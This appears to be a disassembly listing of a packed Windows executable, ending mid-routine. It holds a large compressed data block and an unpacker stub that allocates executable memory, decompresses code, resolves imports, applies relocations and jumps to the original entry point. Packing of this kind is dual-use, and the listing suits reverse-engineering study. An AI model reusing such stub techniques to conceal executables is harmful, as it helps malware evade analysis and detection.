dd 8A78F6A8h, 9CB87555h, 8A794C3Eh, 24333453h, 0BE4F8233h
dd 2606C8Eh, 0C8F95219h, 85E34A50h, 336D6599h, 6F12491Eh
dd 305FAD1Eh, 599F137h, 0CAE86B5Bh, 0F2DB7BDEh, 454EC01Fh
dd 4A41482Dh, 0CA68FC42h, 0E38A575h, 726D7A69h, 0D260AA1Bh
dd 5DD15D6Bh, 524F4B01h, 90495941h, 9933C804h, 183C5B66h
dd 644150DDh, 0C633A0A9h, 5D313402h, 0D895AA44h, 0EA734B1Fh
dd 0C4385066h, 173832FAh, 0F29A16FEh, 0D5D269EEh, 2ECB3864h
dd 1F41F976h, 20629979h, 69640763h, 7F7DE2AFh, 6D4C3471h
dd 0D66CCB30h, 1A772580h, 0F19208F0h, 64763A31h, 426B5142h
dd 0E8402852h, 6C4D470Eh
dd 6563C14Eh, 5965D768h, 0CE70B428h, 9CD03CA8h, 3569D36Ch
dd 79E00F65h, 460E3114h, 15534E65h, 418A706Eh, 7261088Ch
dd 574A4489h, 45435103h, 4B4E2003h, 9D32332Dh, 771CA035h
dd 7464749Fh, 34494CC3h, 1D236B25h, 27AD348h, 36336EB6h
dd 47558460h, 0B1524126h, 65F824A0h, 8695633h, 380BA54Ch
dd 0AA66D04Bh, 63F41B2Eh, 31746CE6h, 4432417Eh, 9145D449h
dd 79456D9Fh, 49489901h, 5F21554Eh, 23F0B17Fh, 4C461E94h
dd 0B844A97Eh, 0AA626509h, 451A0565h, 691F8F4Fh, 87281A7Ah
dd 561F6178h, 8FD18010h, 2B0D7245h, 0F86CE32Dh, 2048541Dh
dd 0B5979883h, 149F505Ah, 5052E041h, 0CF70C433h, 340774F8h
dd 82508A2Dh, 6C666979h, 28389B8Ah, 9E5E958Dh, 0DF704938h
dd 42316E10h, 0A53931C5h, 64065F4Ch, 0F486487Ah, 4E6F4306h
dd 0ED5A7547h, 0B77846CAh, 98332284h, 6F3F6284h, 9254D867h
dd 6A6A64F0h, 0CA987A75h, 69D0263Ch, 9338040Ah, 2D770A59h
dd 24629334h, 24981207h, 506A8430h, 4314A028h, 5BD4304Bh
dd 0ED782569h, 9FE379F2h, 0C4656821h, 0D47076F5h, 0F741F8FAh
dd 0CEBD6817h, 0E82B70E5h, 0B405928Eh, 140B4754h, 792B0673h
dd 31323147h, 57495019h, 9BCC4AFAh, 0CD8C2273h, 20AA2110h
dd 0FCAA4F68h, 0D4B858DFh, 5A2E91BAh, 99C6A14h, 60124544h
dd 0CA392C4Bh, 0DE98C86Bh, 54AF55A5h, 75D3FBB7h, 0A02A4174h
dd 2D4D2B89h, 4652E987h, 28B10C56h, 446442B2h, 3CDADA40h
dd 4B418E22h, 8C84A343h, 595052ACh, 0DAC34A08h, 24484349h
dd 28B454D8h, 0AC8DD90Dh, 0F02AF73h, 7BCC9593h, 4E8B76BDh
dd 55074F09h, 4D93CE4Eh, 0D06560Bh, 54644DD0h, 61D8C39Ch
dd 0C4F40249h, 0A0D53732h, 7F38AB4Bh, 636DADE4h, 3B88E16h
dd 52D54045h, 33E83534h, 1932D3EBh, 0E4633C4Bh, 4B9782F7h
dd 43792850h, 4D454AFAh, 72DA4725h, 49D6582Ch, 81AF9264h
dd 3F754490h, 7C9D64BCh, 72DE186Bh, 4ADA6BE6h, 78665A6Dh
dd 0E074F80Fh, 68556FC9h, 0A2754CA2h, 6E3904B9h, 793D83F8h
dd 0C59C354Ah, 6AFC8C23h, 6F5158DCh, 51D86228h, 0B8021074h
dd 63D89976h, 909DB635h, 9A79D072h, 0AC33CA24h, 0A47A3A64h
dd 644D9068h, 0AE78B266h, 984C88B6h, 6D009672h, 73044C50h
dd 74CC775Fh, 3180CD43h, 4B7292BCh, 925A4709h, 86AF89BCh
dd 989179AFh, 6324E543h, 59452A4Ch, 0B0787134h, 66CCCD5Eh
dd 71A26058h, 5435C9D9h, 887349D1h, 4E09C87Bh, 56224291h
dd 89584344h, 244C125Ah, 914A484Bh, 44472248h, 53894446h
dd 4F245012h, 68A05548h, 55095468h, 5719F829h, 62125109h
dd 7A487824h, 68226C91h, 89666744h, 25791264h, 0C9ACFD77h
dd 2F935F25h, 0D2623482h, 3484FBD5h, 7F1C2D20h, 22854BB9h
dd 135FB68h, 0C97C86F9h, 0FB0F311Ch, 0E305304Dh, 323A182Ah
dd 607C2D00h, 5B7B5C5Fh, 2D34965Dh, 0BD54AC76h, 6E85059h
dd 0A8BD8000h, 0B7D8AAFh, 0F4BE11C9h, 2998235Fh, 0AC315E89h
dd 1835AA50h, 0E7DFFB80h, 1B00070h, 59CA9752h, 0A83811D0h
dd 0C9A005D5h, 0FB27800Dh, 55B52600h, 0C137001Dh, 79AB46C5h
dd 2A088F63h, 0A569E868h, 0D8D66462h, 756B14EDh, 7CC9FAC0h
dd 0FDCA6321h, 0E6242C73h, 0E12C0624h, 0F9D2CA25h, 1A2567C7h
dd 0DD7ADEDh, 0A13A12C5h, 0ECE87B0Ch, 467540A2h, 1766716Dh
dd 0AE3A0A0Dh, 12A5B4C9h, 229A22FEh, 16108D50h, 343BA861h
dd 0BD1024B6h, 275A686Ah, 0ADCE73D1h, 0BB2A1794h, 38F68013h
dd 2D47A9D2h, 5996D561h, 0BFC4EFEFh, 0DE4F17DBh, 27994B68h
dd 0E82D246Ah, 1AB5D2E4h, 2879A804h, 93A8AC6Bh, 0BDCC7F2h
dd 0E84395DCh, 9333FFA4h, 0C41129CCh, 23BC910Ch, 23AC91B4h
dd 229C91A4h, 8C014494h, 2128489h, 6C487824h, 0C0350396h
dd 2944A2EBh, 116E0C64h, 855D502Fh, 8366450h, 0D9D6BF21h
dd 54B80868h, 727B6110h, 2111DA86h, 4258EBFDh, 20410860h
dd 0D068A87Fh, 80D7D208h, 11B564CAh, 9358A3EBh, 0E13652ABh
dd 0D9F5DA62h, 3ADDAD8Bh, 0AC241C7Eh, 862FA624h, 86DEB528h
dd 14FC2D65h, 695074E4h, 6EE09724h, 3EE899AFh, 7563F072h
dd 644A4844h, 3396AEB9h, 8FFC68F8h, 549A7ABBh, 5991CEA6h
dd 0D1202E15h, 61D2DEA2h, 0F1EEDD65h, 1F87FFDh, 2D241FE4h
dd 4A781375h, 0D5F1BD22h, 631097D9h, 9EA29632h, 6D51699Fh
dd 6344D62Eh, 0A0DA1484h, 1CA54A7Ch, 802E5221h, 0D7C57E4h
dd 3AD56B11h, 0C1BFB65Dh, 43BFB67Eh, 0E0B2D32Ch, 0F84AAE47h
dd 0FD4CA6A9h, 0F5612442h, 0D3F799B2h, 76B2B261h, 305585B3h
dd 1BD5D71Fh, 384B3622h, 249E5AACh, 0A2947208h, 428E668Eh
dd 52B44199h, 0BA5BB03Fh, 200FCB29h, 9D65642Ch, 0B848746Eh
dd 8B6136BEh, 1B725734h, 3A611A67h, 0F7F6A540h, 448546F3h
dd 1E3E69A4h, 85855A9Ch, 0E490402Fh, 0EAADAAB4h, 41B8E590h
dd 0DEE32BFBh, 0B1634877h, 6F4425A9h, 26ADFEB8h, 2F9DF520h
dd 2C6C223Fh, 0DABFA493h, 0AE763514h, 0DD4E1CB2h, 0E51422F4h
dd 450BA6FFh, 28811BC4h, 9B91E477h, 7A62A04Ch, 0D751A375h
dd 0F40AB249h, 0EADABEC7h, 0A1436D38h, 96A6C89h, 6B5D70E1h
dd 5C8CDC38h, 2A539D41h, 0FDDA41A4h, 0DCB4A573h, 2A528C2Fh
dd 0B69269CBh, 0E9286BDCh, 9CC98C93h, 244AB305h, 0F5AB5AF9h
dd 0A173E5D7h, 0F143AA30h, 2593D922h, 69DB4935h, 0AFA75C95h
dd 0FF794BEEh, 0AB877C4Ch, 0A11A5DA5h, 9A5F2C09h, 0E9E74571h
dd 4DD43AD7h, 0EB34A1E8h, 0AB8D67F5h, 0DF78F3C0h, 349E0D9Fh
dd 0AAF42836h, 0B4547711h, 6A3399EFh, 0B56EF089h, 696477C2h
dd 52645416h, 0C31183Ah, 6B282652h, 32ADB218h, 33A8EA18h
dd 0BDA6FC0Ch, 746B0B41h, 669422CCh, 18DA83D0h, 34BAD54Dh
dd 76BD6EBCh, 3A74CCB3h, 0BCA428E1h, 72612568h, 78B9A21Eh
dd 76415D53h, 0CFF540D1h, 0B6516BC4h, 31DCF5C2h, 14536F34h
dd 8D0632AAh, 0EB0B7536h, 4E5A2F70h, 9D59CA0Ah, 0B7CF4C21h
dd 42148ABEh, 96806B53h, 1D5355C8h, 99F8E86Fh, 76A45203h
dd 0D4721208h, 3F016D0Ah, 7F930B11h, 630C4465h, 0E8ECEA50h
dd 40FCB775h, 37DAEF68h, 2530A3D4h, 20AF9936h, 50482423h
dd 2A1D09DAh, 0D72FA21Ah, 0D43A163Ah, 741938D6h, 3D9D5078h
dd 6BA53A57h, 4D8240F9h, 642E7861h, 0F3789D15h, 38999CD3h
dd 27DF4C3Fh, 85954C52h, 17627574h, 0E8F1D543h, 57BE2B24h
dd 6C573528h, 6589A5BEh, 287E22EFh, 1AB51453h, 7D4E7749h
dd 0CC981486h, 9EB6C4BFh, 8E3B2232h, 4A6E5210h, 0AB5D4E2Fh
dd 0FCFB2BC3h, 617365DBh, 0DE614260h, 0A138E577h, 231AA181h
dd 0B4419414h, 724928E6h, 47724910h, 24E25F8Ah, 4539FE5Bh
dd 495729A5h, 102F465Ch, 0CAD362AAh, 0BEF06EEAh, 1713DD6Dh
dd 0D4554782h, 0BB55677Ch, 414A04E6h, 36089BBAh, 86B2B043h
dd 24535589h, 97119CE2h, 14E2EC92h, 1A264A55h, 0B588FF11h
dd 2A1CEDB9h, 9F94A0E8h, 0BBDDEF9Ch, 4D2EA2DCh, 2E619EBCh
dd 9A095244h, 8A59628Bh, 0C66709A5h, 3F3A916Ah, 0F0D0D47Fh
dd 0A2C723E9h, 257A6555h, 0DEE6A1B2h, 868252B8h, 3A17A473h
dd 0AC4B88E7h, 0DB95F5E3h, 935DF2EEh, 9A61EC50h, 691AE793h
dd 37872C96h, 75953822h, 0AFC59C32h, 694CEDE9h, 14BD904Eh
dd 350EB18Dh, 9EF7FA12h, 28A36C5Ch, 0B68B6A5Ch, 0F6D6F3C0h
dd 0D875DAC5h, 79632BF0h
dd 0AA3292Fh, 0EB98292Eh, 593192DDh, 86644958h, 4EEC5BE5h
dd 232AD174h, 0A56D2445h, 73489292h, 0AD7CFBFFh, 26D1E1E4h
dd 86A19285h, 64254E29h, 0B26B355Eh, 25B354E2h, 1912DFBAh
dd 8E0F089Ah, 0AE9F75FEh, 0E45569E2h, 0BA68094Bh, 75D24E4Dh
dd 0FA6552A2h, 25B16884h, 0CA69AE23h, 5AADF214h, 0C9F34497h
dd 96F56269h, 54719CDBh, 0ED5574BFh, 0B4AD6F4Ch, 0DDEDE1DBh
dd 44E80CE4h, 54A33EF5h, 0A5CB759h, 4B2429A5h, 49C8D0CFh
dd 36AA93B6h, 4E51254Ch, 75E8856Fh, 4CFD6867h, 6ADAD894h
dd 196CF16h, 4DE1C5CBh, 423E6651h, 0A4564967h, 0FA0BB829h
dd 183E2E25h, 9F3C1AD0h, 1D4D70ACh, 0DF52F86Bh, 2CC88DECh
dd 0F87E6D59h, 0CBFBE40Eh, 0C48C4EF7h, 88BF330h, 6878A3D8h
dd 91BC09C8h, 44A422B0h, 78898898h, 4C246012h, 34914048h
dd 1C442822h, 11048910h, 0E802A2F4h, 0D048DC24h, 0B422C491h
dd 8898A844h, 72E23169h, 6E34351Ch, 7E806EA5h, 0D755769h
dd 0A533641Ch, 10A19B71h, 0A70B7294h, 0D21B70Ah, 0A0795D49h
dd 19DA0DA2h, 0FC0C1269h, 54D13B1h, 63505873h, 9A8F6234h
dd 366C14ECh, 0A1215089h, 56323373h, 59D920Ch, 4120643Dh
dd 0B542534Dh, 40547005h, 63736D0Ch, 24A66276h, 685CFEB7h
dd 0CCC3493Ch, 45564198h, 1E8267ECh, 66631484h, 3962D67h
dd 6D6B73DEh, 7A1AF244h, 0C0EA10DAh, 0A66D72C1h, 40F6FD28h
dd 0D07770BCh, 21A694AAh, 7A690E8Eh, 191F8834h, 1D3BF86Dh
dd 0E74153Ah, 7CFBAC55h, 3094A5A8h, 676966A4h, 619C40ACh
dd 1CA1BA24h, 2F9A7325h, 0BDD0947Fh, 37CFC47Ch, 7D158BBBh
dd 8D5AEE95h, 0CE7CC924h, 0BD241E5Ah, 2CC85C7Eh, 0BD3A066Ch
dd 0DD988FEh, 0F4E4FD7Ah, 3A4B29AEh, 0C92EDB8Dh, 23F0460h
dd 0A0D2E40h, 5053309Ch, 92E95C17h, 519DF7ABh, 29BA2ACCh
dd 0B6580B40h, 0A5308762h, 49F8F9FEh, 88739D4Fh, 78FBF572h
dd 0D74CF74Bh, 11899B8Ah, 80098459h, 940879A5h, 74C80878h
dd 6C097099h, 44216812h, 24035C3Ah, 11DF307Eh, 11417DA2h
dd 754E494Dh, 0C20E5051h, 6BD0D3F7h, 0A5164775h, 0B493BD1h
dd 58C6DFA7h, 0B5302E52h, 8C63358Dh, 0EE976658h, 0E87BC199h
dd 2309FD64h, 53391F3Ch, 544736D2h, 14B68DD2h, 88503B21h
dd 73115573h, 74B17BBDh, 0EAB4F80Fh, 4D52F19Eh, 0A18B575Ah
dd 0D6AB2C09h, 0E37167CDh, 2E1F0A6Bh, 2832DA3Ch, 0EC6B97F1h
dd 534689F9h, 0ABD7C44Eh, 3E42FC8Eh, 64E43C46h, 726DAC24h
dd 5E6D793Ah, 0C07FB784h, 0B778442Dh, 2168B48Fh, 23DE67A5h
dd 2444C550h, 0FB28251Bh, 9158E9E7h, 14041541h, 52DD389Fh
dd 25653164h, 6A53163h, 2456105Ch, 0AD57B6B0h, 5AECABEDh
dd 0B895541Ah, 0C72F72C4h, 17896E55h, 0DC6C6ABAh, 0BE6E7524h
dd 7C48385Dh, 6D892FE9h, 6294D00Bh, 0A8F57752h, 54531F30h
dd 71EF2FD3h, 3E0D3075h, 0AB966AF2h, 64350F2Eh, 5ED08B28h
dd 1F2C74ABh, 0C8459A5Bh, 247425AFh, 14620F50h, 0AF2F7469h
dd 5355157Dh, 0FEA71141h, 1261159Eh, 61E7B0B4h, 0D0386753h
dd 2778CD4h, 0D950972Eh, 60A6EF94h, 0E46A273Dh, 0FD794B60h
dd 410F433Ch, 9FC16B20h, 997A7974h, 641000C3h, 0BFD06131h
dd 4A109011h, 696C7F03h, 9C87BC62h, 4146665Dh, 8228868Bh
dd 68D40315h, 0BE1ACD75h, 34594208h, 0F73C866Ch, 6E79968Eh
dd 5FD3BABEh, 3C471445h, 0FE25ADCAh, 0A748C8BAh, 2533C0A5h
dd 2893F122h, 3F753EFCh, 8565173h, 12906220h, 30168382h
dd 248752D6h, 540E0CDDh, 1430F14Eh, 6FD03331h, 0E117E4Fh
dd 5410411Fh, 0E0BA101Ah, 4F5BE9F4h, 6264EC0Ah, 78421448h
dd 1E61926Fh, 706950C4h, 2F10D464h, 836C75A4h, 75BB6CA0h
dd 50363068h, 6356D8CFh, 0E944DC68h, 87319610h, 4E1F4A9Fh
dd 668E7C14h, 75893CB5h, 0A2BC2808h, 3C6C53FEh, 5F5A6C6Fh
dd 0B05C7D2Bh, 9160C469h, 5043840Ah, 49CF8855h, 75343601h
dd 2E7A484Dh, 236222AFh, 0BDC1109h, 6DEA5927h, 0AFD62A19h
dd 4BCB9D3Dh, 72EEFACh, 990D3769h, 99292E32h, 2ECD1E38h
dd 42448906h, 53BC8F75h, 489A12E8h, 0FBB42678h, 1DCB4122h
dd 5D667F48h, 47293AF3h, 0B2D52BA5h, 8E49F849h, 0E372B529h
dd 54100C8Ch, 55B06D69h, 0EAE7470h, 0E9E348A4h, 2202BF4Dh
dd 9563E079h, 2F1597D5h, 0A5C496h, 235E5EADh, 0B08FC980h
dd 64F741ABh, 68A7874Dh, 7FF82568h, 0DAE74CE0h, 2580A7Dh
dd 70752D07h, 0F56F490Fh, 9497AF14h, 957F9558h, 847EA758h
dd 0A79ADF72h, 2E1537D9h, 72E2B430h, 0AFC735D6h, 5C47C6DAh
dd 559DDC96h, 2E4C5215h, 0C46AA978h, 0E6FBE889h, 68C29C59h
dd 2482DE84h, 74300D2Bh, 0C1E52F2Ah, 98BC2804h, 890DFF08h
dd 2EB1251h, 750B0201h, 0C3020A4h, 5F38082Eh, 0D02CB30Ah
dd 173FE101h, 98750888h, 24127311h, 3B3C0AD1h, 1B3F6304h
dd 5202005h, 2F6D1993h, 5BC1A2C0h, 10E8C841h, 501510A6h
dd 230443AEh, 1FF9468h, 0F139F0CCh, 0AA014AE1h, 46AEA4AAh
dd 1001E01Ch, 83CE8220h, 20022B04h, 2D28E402h, 48E715FAh
dd 217B1004h, 22347A84h, 0C8028152h, 40A15F01h, 22C82C5h
dd 31FA8502h, 1432203Ch, 0ADEAF4AAh, 0E0890F4h, 0D4277A8h
dd 2F00998h, 1C085004h, 600340A4h, 29798239h, 0A68A2C21h
dd 0A14208DFh, 9F8130A5h, 4FCE021h, 33807E40h, 0C1610EA8h
dd 6A52DAA3h, 0FE811158h, 6508408Ah, 0C8302EB5h, 43B6E441h
dd 93E4A2CFh, 0B3E5831Ah, 355BC2E8h, 0A15490A0h, 563510Ah
dd 965EDA09h, 785F76C0h, 0E032426Ah, 20DED8D3h, 3135F9E0h
dd 0C28747Eh, 4C028916h, 8A60304h, 89180444h, 240D1205h
dd 91094806h, 470C2207h, 94092308h, 0BC81C0Ah, 3C4D1679h
dd 990F0802h, 144C1058h, 4D128911h, 21180204h, 104C3539h
dd 43478E41h, 94345029h, 53CA1852h, 32576508h, 7C995960h
dd 6D184C6Ch, 2B3EAB1h, 1C092270h, 29AC7257h, 80953006h
dd 881CAB4h, 20328265h, 4C843983h, 29899148h, 10999E12h
dd 0A4905CA1h, 0A74770A6h, 94A0B72Bh, 0D7C820CEh, 4C0718E2h
dd 920040Ch, 5D5D0D2Dh, 14E68824h, 785C2609h, 111D1978h
dd 221A1258h, 1B04C60Ch, 1F21504Ch, 11914889h, 44402213h
dd 0E893821h, 74283012h, 9910281Ah, 0C4E32058h, 10531833h
dd 11C87CB0h, 220C911Eh, 20084412h, 0C120489h, 477FC22h
dd 91F4480Bh, 44EC2215h, 1989E41Ch, 1124DC12h, 1891D448h
dd 1644CC22h, 121789C4h, 482224BCh, 222391B8h, 0B02444B4h
dd 0F001108Ah, 0F80CE17Fh, 0EF29FF46h, 0B97FA710h, 8588076h
dd 0E0447010h, 4014AC01h, 4F291330h, 1C790442h, 0FC5C90F2h
dd 454F92Dh, 0BC0E845h, 231D4533h, 96900419h, 8248DF2h
dd 431E8E72h, 7990C88Fh, 92210F91h, 33C93E4h, 0A91E89Bh
dd 0DE848C22h, 82F41AD5h, 66427BA0h, 117464FCh, 0A0484809h
dd 93247828h, 7AF809A0h, 0E2C85831h, 0A478984Ch, 781EE093h
dd 40C76824h, 0E7803389h, 0E010B089h, 0A8788C79h, 8019A093h
dd 70127811h, 6022712Fh, 89507A44h, 75EC12FCh, 46FF6841h
dd 20142148h, 0DAB04DC0h, 0DFDB7F11h, 74CB1045h, 54D5BF93h
dd 349630DBh, 0BE80F21Ch, 265394F8h, 16954D09h, 2C09FC01h
dd 6F184C35h, 3CB0940h, 648109B1h, 38961844h, 7F4A20C4h
dd 2A07041h, 100C4057h
dd 0FAE105C8h, 21790B08h, 50610C9Ch, 80B0FC3h, 5012F424h
dd 98219680h, 0BC204016h, 28C19BEh, 1BC9BF04h, 0A110348Eh
dd 0CECC3DEDh, 4ED3C28Fh, 9EF02080h, 2B0370B5h, 9DC5ADA8h
dd 5DD0E069h, 0E52500FDh, 194F8E1Ah, 71F883EBh, 95D79600h
dd 8D050E43h, 9EAF3E29h, 0A0BFF900h, 1281ED44h, 823E8F73h
dd 3C007BB9h, 0FFCFA6D5h, 0DF781F49h, 0C66F007Ah, 80E98CE0h
dd 0BA47C900h, 0BC41A893h, 556B0085h, 0F78D3927h, 7C3EE070h
dd 8EDD0042h, 0FB9DF9DEh, 0AA7E00EBh, 0E6A14351h, 0CC00E376h
dd 842F29F2h, 3442681h, 0AA171028h, 0E3A8AEF8h, 0FA7CC4C5h
dd 0D4A7EB07h, 0E150F7F3h, 957A4Ah, 0CC6545CFh, 0A60E91C7h
dd 19A0AE01h, 0D46A3E3h, 1C0C17F4h, 0C0868175h, 4D48C976h
dd 0E4004258h, 3B3993A7h, 3EB2B835h, 0EFA53EDh, 0C53D5DE5h
dd 9E8B417Fh, 0E8FF5A92h, 0A158F0A6h, 0A55400E9h, 0D161378Ch
dd 5A8B39FDh, 5D25D800h, 67DBF989h, 0F895AA00h, 0A2BF27F3h
dd 0DDFAC8h, 0C94C6E80h, 8A20979Bh, 60520202h, 107525C4h
dd 4D0CCCDh, 3FFB8001h, 140A3D71h, 570A3D7h, 5A00F83Eh
dd 4FDF3B64h, 6E0F978Dh, 80F58312h, 652CD3C3h, 58E20319h
dd 0F1D1B717h, 230FD0E0h, 1B47841Ch, 0A7C5AC83h, 0A640E0EEh
dd 6C6900B6h, 37BD05AFh, 33F8EB86h, 42BC3D00h, 94D5E57Ah
dd 0E7D63EBFh, 40FDC21Ch, 118461CEh, 0AB3ECC77h, 4C2F00E4h
dd 0C44DE15Bh, 95940FBEh, 928FC9E6h, 753B5300h, 147ECD44h
dd 0AF9A3Eh, 94BA67DEh, 1DAD4539h, 0FECFB11Eh, 0C6232403h
dd 3BF8BCE2h, 8B3E6131h, 5500747Ah, 0B17EC159h, 3E127C53h
dd 0D7005FBBh, 68D2FEEh, 850D92BEh, 4844FB15h, 73E9A5F8h
dd 0EA270739h, 0C02AA87Fh, 0E4A1AC7Dh, 7C64BC00h, 55DDD046h
dd 7B63003Eh, 5423CC06h, 0FF0E8377h, 603D8191h, 7A193AFAh
dd 43250063h, 3CACC031h, 0D1038921h, 97478238h, 0D7FD80B8h
dd 88DC003Bh, 0B11B0858h, 861FE3E8h, 0C60003A6h, 7424584h
dd 759900B6h, 3A2EDB37h, 1C1E7133h, 320023D2h, 5A9049EEh
dd 87A60039h, 0DA57C0BEh, 0A2F082A5h, 0E232B500h, 0A711B268h
dd 449F0052h, 2C10B759h, 0E4004925h, 4F34362Dh, 7BCEAE53h
dd 598F006Bh, 0DEC0A404h, 0FB007DC2h, 9E1EC6E8h, 5A88E7h
dd 0BF3C9157h, 18228350h, 654B4E07h, 8F80FD62h, 309406AFh
dd 0DE5C117Dh, 0D200CE9Fh, 0A6DD04C8h, 4BEC0AD8h, 2EAC307Ch
dd 5612413Fh, 53BA7865h, 38A1FCE8h, 18A7F040h, 8BFE7C2Dh
dd 0F8D45F63h, 74734040h, 293DDC64h, 7FDE920h, 66475F9Ch
dd 0ED4ADF3Bh, 401E2132h, 8DC9E4B5h, 6944A341h, 5A9FF077h
dd 0A5CEB55Fh, 15408B3Bh, 0C07610h, 0
dd 0E0017027h, 0DC09C89Ch, 11022188h, 8F902233h, 0CCD701h
dd 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
call $+5
mov ebp, [esp+24h+var_24]
add esp, 4
cmp [esp+20h+arg_4], 1
jnz short loc_4FA4AF
mov eax, [esp+20h+arg_0]
mov [ebp+43Ch], eax
jmp short loc_4FA4BB
; ---------------------------------------------------------------------------
loc_4FA4AF: ; CODE XREF: start+11j
mov eax, [ebp+438h]
mov [ebp+43Ch], eax
loc_4FA4BB: ; CODE XREF: start+1Dj
lea esi, [ebp+460h]
lea ebx, [ebp+2EBh]
xor edi, edi
call sub_4FA620
jmp short loc_4FA4EB
; ---------------------------------------------------------------------------
loc_4FA4D0: ; CODE XREF: start+5Fj
mov eax, [ebp+43Ch]
push dword ptr [edi+esi+4]
add [esp+24h+var_24], eax
push dword ptr [edi+esi]
add [esp+28h+var_28], eax
call ebx
add esp, 8
add edi, 8
loc_4FA4EB: ; CODE XREF: start+3Ej
cmp dword ptr [edi+esi], 0
jnz short loc_4FA4D0
cmp dword ptr [ebp+448h], 0
jz short loc_4FA508
cmp dword ptr [ebp+44Ch], 0
jz short loc_4FA508
call sub_4FA6C0
loc_4FA508: ; CODE XREF: start+68j start+71j
lea esi, [edi+esi+4]
push ebx
push 40h
push 1000h
push 760h
push 0
call dword ptr [ebp+3D1h]
mov [ebp+45Ch], eax
pop ebx
push dword ptr [ebp+45Ch]
push esi
call ebx
add esp, 8
mov esi, [ebp+45Ch]
mov eax, esi
jmp short loc_4FA53F
; ---------------------------------------------------------------------------
loc_4FA53E: ; CODE XREF: start+B2j
inc eax
loc_4FA53F: ; CODE XREF: start+ACj
cmp byte ptr [eax], 1
jnz short loc_4FA53E
inc eax
mov edi, [eax]
add edi, [ebp+43Ch]
add eax, 4
mov [ebp+458h], eax
jmp loc_4FA5EF
; ---------------------------------------------------------------------------
loc_4FA55B: ; CODE XREF: start+162j
push esi
call dword ptr [ebp+3C9h]
test eax, eax
jz loc_4FA61E
mov [ebp+454h], eax
mov eax, esi
jmp short loc_4FA5CF
; ---------------------------------------------------------------------------
loc_4FA574: ; CODE XREF: start+13Dj start+142j
mov eax, [ebp+458h]
mov eax, [eax]
test eax, 80000000h
jz short loc_4FA597
xor eax, 80000000h
push eax
mov eax, [ebp+458h]
mov dword ptr [eax], 202020h
jmp short loc_4FA59D
; ---------------------------------------------------------------------------
loc_4FA597: ; CODE XREF: start+F1j
push dword ptr [ebp+458h]
loc_4FA59D: ; CODE XREF: start+105j
push dword ptr [ebp+454h]
call dword ptr [ebp+3CDh]
test eax, eax
jz short loc_4FA61E
mov [edi], eax
add edi, 4
mov eax, [ebp+458h]
jmp short loc_4FA5BB
; ---------------------------------------------------------------------------
loc_4FA5BA: ; CODE XREF: start+12Ej
inc eax
loc_4FA5BB: ; CODE XREF: start+128j
cmp byte ptr [eax], 0
jnz short loc_4FA5BA
inc eax
mov [ebp+458h], eax
cmp word ptr [eax+2], 8000h
jz short loc_4FA574
loc_4FA5CF: ; CODE XREF: start+E2j
cmp byte ptr [eax], 0
jnz short loc_4FA574
jmp short loc_4FA5D7
; ---------------------------------------------------------------------------
loc_4FA5D6: ; CODE XREF: start+14Aj
inc esi
loc_4FA5D7: ; CODE XREF: start+144j
cmp byte ptr [esi], 0
jnz short loc_4FA5D6
inc esi
inc eax
mov edi, [eax]
add edi, [ebp+43Ch]
add eax, 4
mov [ebp+458h], eax
loc_4FA5EF: ; CODE XREF: start+C6j
cmp byte ptr [esi], 1
jnz loc_4FA55B
push 4000h
push 760h
push dword ptr [ebp+45Ch]
call dword ptr [ebp+3D5h]
call sub_4FA650
call sub_4FA73C
popa
jmp sub_41E1D3
; ---------------------------------------------------------------------------
loc_4FA61E: ; CODE XREF: start+D4j start+11Bj
popa
retn
start endp
; =============== S U B R O U T I N E =======================================
sub_4FA620 proc near ; CODE XREF: start+39p
pusha
mov eax, [ebp+43Ch]
add eax, [eax+3Ch]
add ax, [eax+14h]
add eax, 18h
mov ebx, [eax+0Ch]
add ebx, [ebp+43Ch]
mov ecx, [eax+8]
lea eax, [ebp+434h]
push eax
push 40h
push ecx
push ebx
call dword ptr [ebp+3D9h]
popa
retn
sub_4FA620 endp
; =============== S U B R O U T I N E =======================================
sub_4FA650 proc near ; CODE XREF: start+17Ep
pusha
mov esi, [ebp+440h]
or esi, esi
jz short loc_4FA6BE
mov edi, [ebp+438h]
mov eax, [ebp+43Ch]
cmp eax, edi
jz short loc_4FA6BE
add esi, eax
jmp short loc_4FA6B9
; ---------------------------------------------------------------------------
loc_4FA66F: ; CODE XREF: sub_4FA650+6Cj
mov edx, [esi]
mov eax, [esi+4]
mov [ebp+444h], eax
add [ebp+444h], esi
add esi, 8
jmp short loc_4FA6B1
; ---------------------------------------------------------------------------
loc_4FA685: ; CODE XREF: sub_4FA650+67j
movzx eax, word ptr [esi]
mov ebx, eax
shr ebx, 0Ch
mov ecx, ebx
imul ebx, 1000h
sub eax, ebx
add eax, edx
add eax, [ebp+43Ch]
cmp ecx, 3
jnz short loc_4FA6AE
sub [eax], edi
mov ecx, [ebp+43Ch]
add [eax], ecx
loc_4FA6AE: ; CODE XREF: sub_4FA650+52j
add esi, 2
loc_4FA6B1: ; CODE XREF: sub_4FA650+33j
cmp esi, [ebp+444h]
jb short loc_4FA685
loc_4FA6B9: ; CODE XREF: sub_4FA650+1Dj
cmp dword ptr [esi], 0
jnz short loc_4FA66F
loc_4FA6BE: ; CODE XREF: sub_4FA650+9j
; sub_4FA650+19j
popa
retn
sub_4FA650 endp
; =============== S U B R O U T I N E =======================================
sub_4FA6C0 proc near ; CODE XREF: start+73p
pusha
mov esi, [ebp+448h]
add esi, [ebp+43Ch]
mov edi, esi
mov ecx, [ebp+44Ch]
cmp dword ptr [ebp+450h], 0
jz short loc_4FA712
jmp short loc_4FA70B
; ---------------------------------------------------------------------------
loc_4FA6E0: ; CODE XREF: sub_4FA6C0+4Ej
cmp byte ptr [esi], 0E8h
jz short loc_4FA6EA
cmp byte ptr [esi], 0E9h
jnz short loc_4FA709
loc_4FA6EA: ; CODE XREF: sub_4FA6C0+23j
mov eax, [esi+1]
cmp al, [ebp+450h]
jnz short loc_4FA703
mov al, 0
bswap eax
sub eax, 5
add eax, edi
sub eax, esi
mov [esi+1], eax
loc_4FA703: ; CODE XREF: sub_4FA6C0+33j
add esi, 4
sub ecx, 4
loc_4FA709: ; CODE XREF: sub_4FA6C0+28j
inc esi
dec ecx
loc_4FA70B: ; CODE XREF: sub_4FA6C0+1Ej
cmp ecx, 0
ja short loc_4FA6E0
jmp short loc_4FA73A
; ---------------------------------------------------------------------------
loc_4FA712: ; CODE XREF: sub_4FA6C0+1Cj
cdq
jmp short loc_4FA735
; ---------------------------------------------------------------------------
loc_4FA715: ; CODE XREF: sub_4FA6C0+78j
inc edx
